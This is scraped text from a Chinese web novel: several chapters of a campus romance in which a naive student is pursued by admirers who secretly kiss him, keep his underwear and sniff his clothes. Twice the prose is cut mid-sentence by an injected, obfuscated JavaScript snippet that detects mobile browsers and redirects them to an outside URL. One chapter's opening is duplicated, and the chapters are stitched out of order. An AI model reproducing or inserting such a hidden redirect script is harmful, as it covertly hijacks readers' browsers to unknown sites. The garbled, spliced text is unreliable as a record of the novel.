* 陈悯之回去时,寝室里照旧只有秦陌一个人,王鸿洲的夜生活十分丰富,每晚上不到门禁的12点是不会回来的。 秦陌像是刚洗过澡,穿着质地很好的黑色睡衣,正背对着他在看书,听见他回来也没有抬头。 但陈悯之是个憋不住事儿的,他刚才经历的事太过刺激,一回来就忍不住小嘴叭叭往外说。 “秦陌,我给你说个事儿。” 秦陌从书本上抬起头,声线冷淡:“什么事?” 然后他就见陈悯之打开寝室门,鬼鬼祟祟地左右望了几眼,确定门外没人后,才锁上门,神秘兮兮地凑到他耳边低声说:“我刚才在小树林里被一个女生强吻了。” 秦陌手中的书页折了一下。 陈悯之没注意到他的小动作,继续道:“我知道我这么说你可能不信,但我有证据。她亲完我,还在我脖子上咬了一口,你看。” 他说着就弯下腰,把自己白白嫩嫩的脖颈伸到男人跟前,歪着脑袋问:“你看,上面是不是有印子。” 少年肤白,那个新鲜的咬痕位于他脖颈前侧,十分明显,并不像耳后的那一个,角度隐秘到陈悯之自己照镜子都看不见。 秦陌盯着那个咬痕看了一会儿,移开视线:“嗯,有。” 陈悯之见他转过身去,并不很感兴趣的样子,奇怪道:“你怎么一点都不惊讶呢?” 秦陌翻书的动作微顿:“我像是那种很容易惊讶的人吗?” 陈悯之了然了:“不像。” 也对,秦陌一直都是那副处变不惊的样子,除了上次在俱乐部误会他做鸭,他还真没见秦陌有太大情绪波动的时候。 秦陌翻了一页书,淡淡道:“况且,这种事情在大学不是很正常吗。” 陈悯之疑惑:“是吗?你也被女生强吻过吗?” 秦陌噎了一下,冷冷给了他一记眼刀:“我不像有些人,没有那种不三不四的男女关系。” 陈悯之严肃道:“你什么意思?你都还没见过那个女生,怎么就能说别人不三不四呢?” 秦陌:“... ...” 他额上隐隐有青筋浮动:“我说的不是...” 他话还没说完,就被陈悯之突然拔高声调的一句话打断:“可这是我的初吻呢!” 秦陌神色怔了一下,他略微移开目光,声音有些不自然地问:“真的?” 陈悯之信誓旦旦:“当然!虽然只剩下半个了,那也是货真价实的初吻,我以前从来没和女孩子亲过呢。” 秦陌的眉头皱起来:“半个?” 意识到不小心说漏嘴的陈悯之:“...呃,这个说来话长。” 原本对此事不太感兴趣的秦陌,仿佛来了兴趣,扶了扶金丝眼镜,盯着他问:“你说清楚,半个是什么意思?” 陈悯之不好意思说自己是因为洗澡晕倒被顾明珏做了人工呼吸,觉得这样显得他有点蠢,于是支支吾吾道:“反正、反正就是之前不小心和顾明珏亲了一下,但大家都是兄弟,所以算半个。” 空气诡异地安静了两秒。 秦陌冷笑一声:“哦,那你现在有一个了。” 陈悯之不知道秦陌的脸色为什么突然变难看了,他觉得唯一的可能是秦陌嫉妒他跟女生亲过,于是拍拍秦陌的肩膀,宽慰道:“没关系,不用羡慕我跟女生亲过,你以后也会有的。” 秦陌的面部肌肉似乎微微抽动了一下。 他声音冷淡的道:“小树林是没有路灯的,你看清她的脸了吗?怎么确定对方是女生?” 陈悯之作惊讶状:“当然是女生了,不然还能是男生吗?哪个男的会把另一个男的拖进树林里强吻,除非他脑子有病。而且,根据我的分析...诶,你怎么了,怎么脸色不太好?” 陈悯之担忧地看着秦陌,如果说刚才秦陌的脸色是普通的难看,现在就像是从古墓里刚爬出来的千年老尸一样难看,又青又白的。 秦陌咬了一下牙齿:“我没事,你接着说,根据你的分析,然后呢?” 有了捧场的听众,陈悯之来劲儿了,把自己的椅子搬过来,反坐在椅子上,神色严肃地说:“根据我的分析,真相只有一个。” “这个女生喜欢我,多半已经在暗中观察我很久了,但因为家境不太好,有些自卑,迟迟不敢上前对我表白,可又情难自已,只能把我拖到小树林里强吻。” 秦陌沉默一会儿,道:“依据呢?” 陈悯之面带得意地伸出一根手指:“依据就是,第一,她身上的香水味又浓又刺鼻,闻起来很劣质,多半是网上买的廉价香水,说明她的经济状况不是很好。” 再得意地伸出第二根:“第二,她手掌的皮肤很粗糙,不像一般女孩子的手那么细腻,说明她缺乏手部保养的条件,可能是平时经常干粗活。” 再得意地伸出第三根:“第三,她的力气很大,比我一个男生都要大,这恰好佐证了前面两点——她家境不好,需要经常干粗活,因此锻炼出了一身大力。” 陈悯之想起什么,一拍脑袋:“啊对了,她的耐力还很强,亲我老半天都不带喘气儿的。” 说罢,他趴在椅背上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913707|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑到秦陌跟前,睁着一双黑白分明的大眼睛问:“怎么样,我的逻辑是不是很严密?” 秦陌脸色复杂地看着他,不知道为什么,陈悯之觉得对方的眼神有点像在看傻子。 他惊讶:“怎么了,我分析得不对吗?” 秦陌嘴唇翕动几下,半晌才语句艰涩地道:“没有,你的逻辑很严密。” 陈悯之深以为然地点点头:“我也觉得。” 秦陌轻咳一声:“那你下一步,打算怎么办?” 陈悯之思索一会儿,然后苦恼地皱起眉头:“好像也没有什么办法,我连她长什么样都不知道,也不知道她的名字,想要再见到她,就只有等她来找我。” “你说我明天去小树林里等她怎么样?据说许多凶手作案后会再次回到作案现场。”陈悯之顿了一下,“呃,这么比喻有点不对,唉,总之她既然在小树林亲了我,那么这个地点就有了特殊意义,说不定她后面还会再去那里呢?到时候她看到我在那里等她,就能明白我的意思了。” 秦陌:“明白你的什么意思?” 陈悯之露出一个腼腆的笑:“就是...就是我想和她见面的意思啊。就...既然她喜欢我,大家就先认识一下,了解一下,看看性格各方面合不合适之类的。” 说到这里,陈悯之叹气:“唉,其实她完全没必要这么自卑,我又不是那种嫌贫爱富的人,她家境怎么样我都不在乎的。再说我是男人,以后结了婚,挣钱养家的事情交给我就可以了,也不用她那么辛苦。” 秦陌阴沉着一张脸:“你倒是想得挺远。” 再让他讲下去,怕不是连孩子名儿都要取好了。 陈悯之正色:“咳咳,毕竟主席说过,一切不以结婚为目的的谈恋爱都是耍流氓。” 秦陌:“... ...” 陈悯之摸着下巴:“只有一点我搞不懂。” 秦陌:“哪一点?” “就是她最后亲完我,为什么要在我脖子上咬一口呢?”陈悯之十分不解地皱着眉头,“这个动作有什么特殊的含义吗?” 秦陌喉结微动,偏过头:“据我所知,没有。” 陈悯之又苦思冥想了好一会儿:“唉,我也想不出来,那多半只是吸引我的小把戏吧。” 秦陌:“... ...” 他嘴唇动了动,像是想说什么,但终究没说出来。 陈悯之沉浸在对恋爱的美好幻想中,没有注意到男人奇怪的神情,从椅子上站起身:“不管了,我先去洗澡,明天再说。” 秦陌:“等等。” 陈悯之:“嗯?” 秦陌:“这件事,你先不要和其他人说了。” 陈悯之一愣:“为什么?” 秦陌还没回答,他就自己先一拍脑袋:“哦,也对,现在什么都还没确定,说出去肯定会影响别人女孩子声誉。” 陈悯之感激地握住秦陌的手:“还是你想得周全。” 秦陌:“....嗯。” * 第二天,陈悯之早早就来到小树林里等着了。 可他转悠了大半天,都没等到有女生上前跟他搭讪。 陈悯之在林间小道旁的长椅上坐下来,凝着眉头思索,觉得这个女生多半还是太害羞了,毕竟昨天刚亲了他,肯定是不好意思马上来找他的,他要多给对方一些时间。 正埋头思索着,眼前突然落下一道阴影,挡住了秋日明媚的阳光。 陈悯之心头一喜,抬起头,却发现跟前的人不是他想象中漂亮娇羞的女生,而是身材高大宽阔的卫殊。 怪不得把光都挡完了。 陈悯之:“好巧啊,你也来这边散步?” 卫殊点点头:“路过。” 陈悯之拍拍自己身边的位置:“坐吗?” 卫殊却站在原地不动,目光直勾勾地盯着他的脖子,半晌,声音沉哑地问:“是谁干的?” 陈悯之看着他盯的方向,瞬间明白了他在说什么,他摸了摸脖颈间的咬痕,掩饰地移开目光:“没什么,是我自己睡觉的时候不小心压出来的。” 为了那个女孩子的声誉着想,他不打算把这件事告诉卫殊。 可陈悯之没想到,卫殊看上去四肢发达的样子,头脑不简单,没有被他糊弄过去。 男人目光锁住他,那双瞳眸让人想起发怒时的兽类,又带着忍耐:“有人欺负你。” 用的是陈述句。 陈悯之轻咳一声,正想辩解什么,又听卫殊沉声道:“有人欺负你,为什么不告诉我?” 男人目光如炬,硬朗的下颌线紧绷着,竟显出几分咄咄逼人的意味。 陈悯之瞅了眼卫殊攥紧的拳头,虽然不明白他为什么突然生气,但语气还是下意识软下来:“卫殊,没有人欺负我,如果有,我一定会告诉你的,好不好?你别生气,先坐下来,听话。” 18.第 18 章 18 第二天,陈悯之早早就来到小树林里等着了。 可他转悠了大半天,都没等到有女生上前跟他搭讪。 陈悯之在林间小道旁的长椅上坐下来,凝着眉头思索,觉得这个女生多半还是太害羞了,毕竟昨天刚亲了他,肯定是不好意思马上来找他的,他要多给对方一些时间。 正埋头思索着,眼前突然落下一道阴影,挡住了秋日明媚的阳光。 陈悯之心头一喜,抬起头,却发现跟前的人不是他想象中漂亮娇羞的女生,而是身材高大宽阔的卫殊。 怪不得把光都挡完了。 陈悯之:“好巧啊,你也来这边散步?” 卫殊点点头:“路过。” 陈悯之拍拍自己身边的位置:“坐吗?” 卫殊却站在原地不动,目光直勾勾地盯着他的脖子,半晌,声音沉哑地问:“是谁干的?” 陈悯之看着他盯的方向,瞬间明白了他在说什么,他摸了摸脖颈间的咬痕,掩饰地移开目光:“没什么,是我自己睡觉的时候不小心压出来的。” 为了那个女孩子的声誉着想,他不打算把这件事告诉卫殊。 可陈悯之没想到,卫殊看上去四肢发达的样子,头脑不简单,没有被他糊弄过去。 男人目光锁住他,那双瞳眸让人想起发怒时的兽类,又带着忍耐:“有人欺负你。” 用的是陈述句。 陈悯之轻咳一声,正想辩解什么,又听卫殊沉声道:“有人欺负你,为什么不告诉我?” 男人目光如炬,硬朗的下颌线紧绷着,竟显出几分咄咄逼人的意味。 陈悯之瞅了眼卫殊攥紧的拳头,虽然不明白他为什么突然生气,但语气还是下意识软下来:“卫殊,没有人欺负我,如果有,我一定会告诉你的,好不好?你别生气,先坐下来,听话。” 话都说出口了,陈悯之才后知后觉自己的语气怎么像在哄孩子一样,唉,都是最近天天照顾小猫哄惯了,染上职业病了都。 可出乎意料的,明明刚才还很生气的男人,被他这么一哄,神色一顿,随即,脸上的戾气还真的消失了。 卫殊声音模糊地答了声好,然后乖乖地在他身侧坐下来,低着脑袋,有些不敢看他似的,耳根子还有一点红。 陈悯之莫名联想到某种看上去凶神恶煞,但实际超听主人话的大型犬。 不对,这都什么乱七八糟的,他摇摇头把脑海里奇怪的念头甩出去。 他看向卫殊,男人今天依旧穿了一身纯黑,工装外套套着工字背心,即使露出来的地方不多,也掩盖不住那一身漂亮勃发的肌肉。 陈悯之不禁有些羡慕:“你肌肉怎么练的?能不教教我?” 他觉得是自己是时候好好锻炼一下了,不管怎么说,他一个大男人,被女生摁在树上亲的时候挣都挣不动,最后还被亲到腿软,听上去还是太丢脸了。 卫殊视线落在他身上,上下流动几次:“你不用练。” 陈悯之:“嗯?” 卫殊:“你现在的样子就很好看。” 陈悯之:“咳,谢谢,但我还是想稍微练一下。” 卫殊:“可以,你想学,我教你。” 陈悯之见他答应,眼睛亮起来:“真的?就是你平时怎么练的,你把那些教给我就行了。” 他打算不说练成卫殊那样,至少练成他的三分之一那样吧。 卫殊却摇摇头:“我平时的训练,你做不了。” 陈悯之心里还有点不服气地想,大家都是男人,有什么做不了的。 但直到来到健身房,陈悯之才深刻体会到卫殊口中的“做不了”是什么意思。 100公斤的杠铃,卫殊轻轻松松就能抓着做几十个卧推,至于50公斤的,他单手就能举起来,动作随意得跟拎小鸡似的。 再看陈悯之,40公斤的杠铃在手里握了几秒,还没做什么动作就已经开始大喘气了。 陈悯之咳嗽两声掩饰自己的尴尬:“那个,要不,我们还是先从简单一点的开始?” 丝毫不提刚才是谁做完热身后,就信心满满自告奋勇要尝试卫殊的日常训练的。 “好。”卫殊也没有笑话他,带着他来到了另一片区域。 接下来,卫殊依次教给了他坐姿划船、高位下拉、小重量哑铃卧推等动作,男人讲解得很耐心,一边讲一边亲自上手给他调整动作,让陈悯之体验了一把被私教贴身指导的快乐。 一个小时后,陈悯之精疲力尽地瘫坐在休息椅上:“歇、歇一会儿。” 卫殊站在他跟前,一手叉在腰上,一手随意撩起背心下摆,擦了擦头上的汗:“嗯,你刚开始练,今天到这里就差不多了。” 陈悯之有点疑惑,今天卫殊主要是教他训练,自己其实没怎么锻炼,可看起来汗水流得比他还多的样子,脸也红得跟跑了十个一千米一样,连带着脖子和喉结都红了一圈。 可能这就是易出汗体质? 陈悯之的思绪只在这上面短暂停留了一秒,很快就被其他东西吸引了过去。 卫殊的外套早在进健身房的时候就脱掉了,现在只着一件黑色的工字背心,一身漂亮的小麦色肌肉显露无疑,撩起衣服下摆擦汗时,露出饱满紧实的八块腹肌,汗水顺着凹陷的人鱼线淌入下方的沟壑中。 别说女生了,陈悯之一个男的看了都眼馋。 他小声问:“我能摸一下吗?” 卫殊愣了一下,顺着他的目光看过去,才反应过来他在说什么,磕巴着道:“可、可以。” 顿了顿,又红着耳根子说:“你想怎么摸都可以。” 陈悯之兴奋搓手:“那我就不客气了。” 他伸手摸向卫殊的八块腹肌,从上往下,从左往右地挨着摸,一块儿也不落下,一边摸一边感叹手感真好,形状饱满而富有弹性,随着男人的呼吸在掌下微微起伏,充满属于成年男性的力量美,荷尔蒙气息爆棚。 就是比他想象中更硬一点,似乎绷得很紧,还很烫,跟烧红了的铁板似的。 唉,这么完美的腹肌怎么就不能长在他身上呢? 要是能长在他身上,还不得迷死那个喜欢他的女生,啧。 陈悯之摸到第七块儿和人鱼线相连的腹肌的时候,卫殊突然抓住他的手,力道大得他手腕微疼,声音也有些不正常的哑:“别摸了。” 陈悯之:嗯?不是刚才还说他怎么摸都可以吗? 卫殊停顿一下,松开手,嗓音低沉:“...或、或者,你等一下再摸,我去下洗手间。” 陈悯之心下了然,哦...原来又是尿急了,唉,这孩子,都给他说了憋尿不好,你看这脸都憋红了。 陈悯之摆摆手:“行,那你快去吧,别憋坏了。” 卫殊看他两眼,移开视线,红着耳根子嗯了一声。 二十分钟后,卫殊回到休息区,手掌上还沾了些水,眼珠子直直看着他问:“你还摸吗?” 陈悯之:“不了,冲个澡回去吧,我下午还有课。” “哦。”卫殊应着,一双浓眉大眼耷拉下来,有些失落的样子。 为了方便,陈悯之和卫殊共用了一个储物柜,两个人的换洗衣物都放在里面。 陈悯之不想打湿衣服,把上衣和裤子都脱掉放进了柜子里,只穿着一条内裤去了淋浴间,没有等身后动作慢一点还在脱衣服的卫殊。 也就没有看到,在他身后,那道直勾勾落在他细窄后腰上,含着不加掩饰的深重欲.望,如有实质般从他双腿.间舔.过的目光。 更不知道,在空无一人的更衣间,赤着上身的男人抓起他随手扔进柜子里的衣物,将那沾有汗水与香气的布料紧贴在自己脸上,像捧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932944|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着什么珍宝似的蹭了蹭,然后深深嗅闻起来。 * 没两天就到了月底,陈悯之拿到自己人生中第一笔工资,别提有多开心。 他先是请顾明珏吃了一顿大餐,感谢他给自己提供工作,然后又独自去商场里买了一些生活用品。 他还花大价钱买了一瓶男士香水和一套衣服,心想自己如今也是有女生暗恋的人了,得把自己收拾得好看点。 处于这样的想法,他又做出了迄今为止最大的一个改变——摘掉他戴了五年的框架眼镜,去配了一副隐形眼镜。 晚上,回到寝室的秦陌感到有哪里和寻常不一样了。 空气中有淡淡的香水味,海洋香调的,闻起来清新而不刺鼻,一闻就知道是好香水。 但秦陌不适应。 他看向陈悯之,少年摘掉了框架眼镜,发型也修剪过,露出那双乌润明亮的大眼睛,和一小片光洁的额头。 秦陌眸光一怔,喉结微动:“你这是...” 陈悯之凑到他跟前,很期待地问:“好看吗?我去配了隐形眼镜,还剪了头发,是不是比以前要好看一点?” 近距离下,少年身上传来的海洋香水味更加明显,掩盖了他本身自带的,令人感到舒服的那股淡香。 秦陌皱起眉头。 他没有回答陈悯之的话,兀自回到了座位上。 但陈悯之今天显然心情非常好,也就对秦陌的爱答不理没那么敏感,还追问着:“你说话呀,你还没回答我好不好看呢。” 秦陌沉默了好一会儿,道:“隐形眼镜戴久了,容易诱发眼部疾病。” 他背对着陈悯之,没有人看到他微微绷紧的喉咙。 秦陌没有在哪一刻这样清晰地认识到自己的私心——他不想要其他人看到陈悯之摘下眼镜的样子。 “还有,香水味很刺鼻,以后不要在寝室里喷了。” 这两句话实在算不上好听,也就陈悯之这个性子,被人这样扫兴还不失落,自顾自地念叨着:“我觉得挺好闻的呀,我花了五百块买的呢。” 秦陌没回答,他也不生气,还很开心地道:“秦陌,我今天拿到工资了。” 秦陌:“恭喜。” 只是他声线冷淡,听不出一点恭喜的意思。 只要一想到陈悯之拿到的工资是谁发的,秦陌的拳头就攥得快碎掉。 就在这时,陈悯之得意洋洋地说:“所以,为了感谢你之前对我的仗义相助,我给你买了个礼物。” 想到陈悯之口中的“仗义相助”是什么,秦陌微微一顿,喉咙有些发干。 他终于肯回过头,声音不太自然地问:“什么礼物?” 陈悯之把一个长方形礼盒递到他跟前:“打开看看。” 秦陌打开,见盒子里静静躺着一条深蓝色的领带,款式简洁却不失设计感,布料上有星空似的细闪,并不明显,要对着光在特定角度下才能看到。 陈悯之眨着眼睛:“好看吗?我挑了好久呢,店员都说我挑的这款是他们店里最好看的。” 秦陌喉结滚了一滚,感觉心脏最柔软的地方像是被什么东西触碰了一下,带起一阵微微的悸动。 他声音低沉道:“好看,谢谢。” 陈悯之凑近了些:“那你喜欢吗?” 少年睁大那双圆圆的眼睛,里面是孩童般的干净与清澈,仿佛一定要听到他说喜欢才肯放心似的。 秦陌眼睫微动,垂眸道:“嗯,很喜欢。” 陈悯之开心地笑起来:“那就好,你喜欢就最好啦。” 秦陌:“...嗯。” 这一晚,秦陌睡了他进大学以来最香甜的一觉。 只是他没想到,在几天后,A市几大家族举办的宴会上,他看到了三条和他身上一模一样的深蓝色领带,分别系在了另外三个人的脖子上。 23-30 第23章 第 23 章 “哥哥,你身上好香。”…… 23 空气中有长达半分钟的安静。 两个人都盯着那条落在地板上的内.裤, 一个脸色紧绷,一个呆若木鸡。 好一会儿,陈悯之才从呆愣中回过神来, 弯腰捡起内.裤, 仔细端详两眼,确定了自己没看错。 这就是他在酒店丢失的那条内.裤。 陈悯之抬眼看向一直没说话的男人, 迟疑地问:“这条内.裤,为什么会在你这儿?” 少年一双黑白分明的圆眼睛看着他,那目光很干净,却正因为太干净了,反倒像一把锃亮的铡刀,让秦陌生出一种被审视般的局促。 他指节绷紧,涩声道:“我可以解释。” 陈悯之点点头:“我听你解释。” 秦陌:“上次我在酒店帮你换完衣服, 把你身上的衣物一起收拾好, 带回家里了。” 这是实话。 陈悯之歪了歪脑袋:“可我上次问你,你明明说我的内.裤找不见了” 秦陌一顿,视线微移:“当时是没找到, 后来找到了, 带来学校想给你, 又忙忘了。” 这是假话。 陈悯之问:“那我换下来的衣服呢?” 他这时才想起来,上次换下来的那套背带裤、腿环和兔耳朵发箍, 好像自从他醒来之后就没见到过了, 他倒也不是想要回这套衣服, 只是好奇它去了哪里。 秦陌:“扔了。” 陈悯之:“扔了?” 秦陌:“嗯。” 扔进了地下室里锁起来, 怎么不算一种扔呢。 秦陌面无表情地想。 陈悯之:“好吧。” 陈悯之捏着自己的内.裤:“那这个,我现在可以拿回来了吧?” 秦陌的视线落在那片布料上,半晌才偏开:“可以。” 陈悯之把内.裤收起来, 回到座位上,罕见地没再跟秦陌搭话,而是一个人抱着手机出神。 他固然不是很聪明,但也不是傻子,自己丢失的内.裤从室友衣柜里掉出来,怎么看都有点奇怪。 秦陌的解释看似合理,却有一个很明显的矛盾点。 ——秦陌有很严重的洁癖。 平时王鸿洲递个东西给他,他接过来后都要用酒精棉片反复擦拭,对陈悯之倒是没那么讲究,可能因为他们已经算是比较熟的朋友了。 可再熟的朋友,也不可能在有严重洁癖的情况下,还能忍受朋友的内.裤被放在自己衣柜里。 陈悯之心里冒出一个可能,难不成,秦陌有那种收集别人内.裤的癖好? 他在网上搜索了恋.物.癖这个词。 某度上写着,恋.物.癖是性.变.态的一种,指迷恋某种非生命物品或人体躯体的某部分。 现在出现在他面前的有两种可能: 一,秦陌迷恋的是内.裤这一物品,并不局限于他,也就是说,和他这个人没多大关系。 二,秦陌只迷恋于他的内.裤。 如果是第一种,那么秦陌柜子里肯定不止有他一个人的内.裤,也就是说,他朋友是平等地对所有人变.态,并不针对他一个人,那么问题不大,他只需要在合适的时机加以引导,好好开解,帮他的朋友治好这个毛病就行。 如果是第二种他觉得这种可能性不大,他那四角大裤衩儿有什么好迷恋的?唔总之到时候再说吧。 为了确定秦陌究竟属于哪一种变.态,陈悯之趁着秦陌第二天去上课时,偷偷打开了男人柜门上的锁。 他知道秦陌的衣柜钥匙放在哪个抽屉里,大概是衣柜里没放什么贵重物品,秦陌平时拿取钥匙的时候很随意,根本没背着他。 陈悯之在心底说了声对不住了兄弟,虽然这么做有点不道德,但为了我们伟大光辉的革.命友谊,我只能出此下策。 只要你变.态的对象不是我,我们就依旧是情比金坚的好兄弟。 陈悯之一边心底虔诚祈祷,一边小心翼翼拉开了柜门。 秦陌的衣柜很整齐,每样东西都分门别类地放着,像是在站军姿,但也正因如此,陈悯之很容易就找到了他放内.裤的地方。 两个透明收纳盒,一个收纳盒叠放的是秦陌自己的内.裤,陈悯之认得出来,秦陌在阳台上晾衣服的时候他看到过。 另一个收纳盒里的东西就很炸裂了。 里面整齐叠放着各种颜色、各种款式的内.裤,陈悯之随手拿起一条在手里端详,男款M码,纯白色的平角内.裤,款式倒是和他那条很像。 再拿起一条,这条是女款,XXL码,半透明的黑色网纱蕾丝内.裤,两端由细绳系成蝴蝶结,竟然还是个丁字的,整片布料还没他一个巴掌大,要是穿在身上肯定什么都遮不住。 陈悯之啧啧两声,好你个秦陌,表面上一本正经,私底下玩儿这么花。 他能平心静气地在这儿啧啧,自然是有原因的。 ——他发现这个盒子里的每一条内.裤都是全新的,上面吊牌都还没摘,而且摸上去质感都很好,大部分还都是奢侈品牌,说明是秦陌自己买的。 也就是说,他的朋友虽然变.态,但是一个只危害自身,不危害他人及社会的良性变.态。 这么想来,秦陌没骗他,那条内.裤多半是真的忘了给他,毕竟秦陌是一个有洁癖的变.态,玩儿内.裤都只玩儿全新的。 陈悯之长舒一口气,感觉这些天一直压在心里的大石头终于落下了。 现在都是新时代了,他也不是什么迂腐的人,他发的那贴子里网友不还说了吗,尊重个人xp。 太好了,以后可以继续跟秦陌做好兄弟了,陈悯之高兴地想。 一时高兴过了头,没注意门外传来的脚步声。 等他注意到的时候,男人已经不知何时站在了他跟前,脸色霜寒地盯着他手里的内.裤:“你在做什么?” “啊?”当场被抓包,陈悯之大脑一片空白,手脚都不知道往哪儿放。 秦陌眼眸漆黑,脸色青得吓人:“你动了我的衣柜?” “我”陈悯之手足无措,喉咙卡壳,“我不是故意的” 连他自己都知道这话毫无说服力,把人家衣柜锁都打开了还说不是故意的。 到现在那黑色的蕾丝丁.字.裤都还攥在他这狂徒手上,原本让他松了一口气的内.裤现在成了烫手山芋,拿着也不是,放回去也不是。 可他不知道,这幅情景落在男人眼中又是另一番模样。 少年容颜白净柔和,因为羞臊,脸侧连同脖颈都泛起一层薄粉,垂着脑袋,眼神乱飘,像一只偷吃胡萝卜被抓包,慌里慌张的小兔子。 偏偏指尖还把那条偷来的黑色蕾丝丁.字.裤攥得很紧,好像生怕被人抢走似的。 秦陌顿了顿:“你很喜欢这条?” 陈悯之抬头:“啊?” 他忙跟着台阶下:“啊对,是我上次从你衣柜里看见了,挺喜欢的,就想拿来看看。” 说完陈悯之就想抽自己两嘴巴子,这都是什么破理由? 可陈悯之心里苦,他实在想不出别的借口了。 他总不能说,啊兄弟,是这样的,我怀疑你是专门偷人内.裤的变.态,想打开你的衣柜一探究竟吧? 现在好了,他自己才是那个偷别人内.裤的变.态。 秦陌对自己的东西一向边界感很强,陈悯之原以为私自打开衣柜锁还偷拿内.裤这种事,已经精准踩到秦陌雷区上了,可出乎意料的,男人听了他编出的蹩脚理由,神色居然奇异地和缓下来,甚至还带了一点嗯,愉悦? 陈悯之甩甩脑袋,觉得自己一定是眼花了。 男人墨色眸子看着他,声音有些不易察觉的哑:“既然喜欢,这条送你。” 顿了顿,又补充,“衣柜里还有别的款式,你可以挑挑,看还有没有喜欢的。“ 陈悯之连忙摆手:“不用了谢谢!这条就够了!” 其实他连这条也不想要的,他能给秦陌还回去吗? 陈悯之简直欲哭无泪。 秦陌瞥了眼少年紧紧抓着丁.字.裤的手指,若有所思。 原来喜欢这种款式的吗他看陈悯之平时穿的内.裤大多是平角,而且纯白色的居多,还以为他会喜欢保守一点的款呢 尺码倒是没问题,他挑选女式内.裤的时候,特意买了几个码子回来和男款对比,留下了大小适合少年穿的,不合适的则被他扔了。现在,那个盒子里的每一条内.裤,少年都可以穿得上。 按照秦陌的审美,他最喜欢的是那条纯白色蕾丝的,款式很正常的一条女式三角内.裤,什么都没露,上面还绣着可爱的小兔图案,很适合给一些乖宝宝穿。 不过陈悯之挑选的这条狂野类型的嗯虽然感觉和少年的风格不太搭调,但也还不错。 毕竟以少年的形状和大小来看穿什么都会很漂亮。 秦陌脑海里浮现出黑色蕾丝布被圆润撑起来的场景,呼吸乱了几拍。 而下一刻,少年已经抓着那条丁.字.裤,逃似的跑出了寝室。 * 陈悯之一路跑到寝室楼下,看了眼自己手里的女士黑色丁.字.裤,懵了两秒。 他为什么要把这个东西也带下来?! 几个回寝的男生路过,瞥见他手里抓着的东西,目光异样。 陈悯之忙手忙脚乱地把那条内.裤塞进兜里。 他一边往外走,一边唉声叹气。 这下兄弟是保住了,他的形象没了。 秦陌不会以为他有什么女装癖吧? 唉,说来说去还不都怪那个把他拖进小树林里强吻的变.态,要不是发生了那种事,他也不会这么敏感,疑神疑鬼地跑去翻秦陌的衣柜,也就不会弄成现在这样了。 陈悯之在心里狠狠的想,等把那个变.态揪出来,他一定好好教他做人。 正郁闷地揣着手,眼前忽然投下一片暗影。 陈悯之抬头看向挡住他去路的人,有些意外:“卫殊?” 自那天他对卫殊说了别再跟着他后,还真有好几天都没看见对方的身影了,放在原来日日都要来找他的卫殊身上,显得有些反常。 陈悯之后知后觉,自己当时语气有些重了,不知是不是伤害到了卫殊,毕竟卫殊也是好心。况且要是当时卫殊没来,还不知道那个变.态会不会对他做出什么更变.态的事情。 他诚恳地道歉:“对不起,我上次情绪不太好,对你说话声音大了些,你别放在心上。” 卫殊摇摇头:“悯悯,我不会生你的气。” 陈悯之感动得无以复加:“好兄弟!这辈子我都跟你做兄弟!” 卫殊耳根染上一抹红,但他肤色偏深,即使红了也不明显,他低头嗯了一声:“我也想跟你做。” 陈悯之:“嗯?做什么?” 卫殊:“做一辈子。” 陈悯之了然,哦,做兄弟啊。 虽然这表述听起来有点奇怪,但卫殊本就不善言辞,陈悯之也没放在心上。 他抬手重重拍在卫殊高过他十几公分的肩膀上:“当然,兄弟就是要做一辈子。” 那首歌怎么唱的来着?兄弟一生一起做哦不是,兄弟一生一起走,他陈悯之这辈子能交到这么多好兄弟,当真是此生无憾了。 正当他在这儿此生无憾的时候,卫殊转头瞥了眼挂在自己肩膀上的东西,面露疑惑:“这是什么?” 陈悯之:“嗯?什么什么?” 而等他瞧见那是什么,恨不得当场挖个坑把自己埋了。 刚才他抬手抬得太激动,没注意把兜里的内.裤勾了出来,现在,那条黑色薄纱丁.字.裤正不偏不倚挂在他好兄弟的肩膀上。 陈悯之严肃道:“我可以解释。” 卫殊点点头:“我听你解释。” 嗯?这对话听起来怎么这么熟悉? 陈悯之咳了一声:“这条内.裤是秦陌的,不是我的。” 卫殊把内.裤从自己肩膀上摘下来,面色古怪:“那为什么会在你” 陈悯之:“你听我说,我没偷秦陌内.裤,是他给我的。” 闻言,卫殊脸上的古怪变成了愤怒,男人本就生得凶,眉眼横起来的时候简直像要吃人,他攥着黑色蕾丝布的手绷出了青筋:“他为什么要给你这个?” 陈悯之:“因为我对他说我喜欢” 唉不对,怎么越解释越奇怪了。 卫殊神色却松缓下来,看着他,目光复杂:“你喜欢这个?” 陈悯之摊着肩膀,发现自己好像没有办法解释这件事的来龙去脉了,反正解释来解释去,他和秦陌之间总有一个人要当变.态。 于是他破罐破摔了:“没错,是我喜欢这个。” 陈悯之不知道的是,他刚刚帮秦陌免除了一场血光之灾。 卫殊捏着那条内.裤,气息渐渐平稳下来。 他原本是打算去揍秦陌一顿的,但既然是悯悯先说的喜欢,那这件事性质就不同了。 卫殊喉结滚了滚:“你喜欢,我可以给你买,你别去找他要。” 陈悯之脸上浮现出一种平静的麻木:“不用了谢谢。” 卫殊道:“你等我一下。” 说完,朝着西区宿舍的方向跑去了。 十分钟后,男人带着一身薄汗停在他跟前,将一个大大的礼盒递给他:“送给你的。” 卫殊低着头,耳朵还有些红。 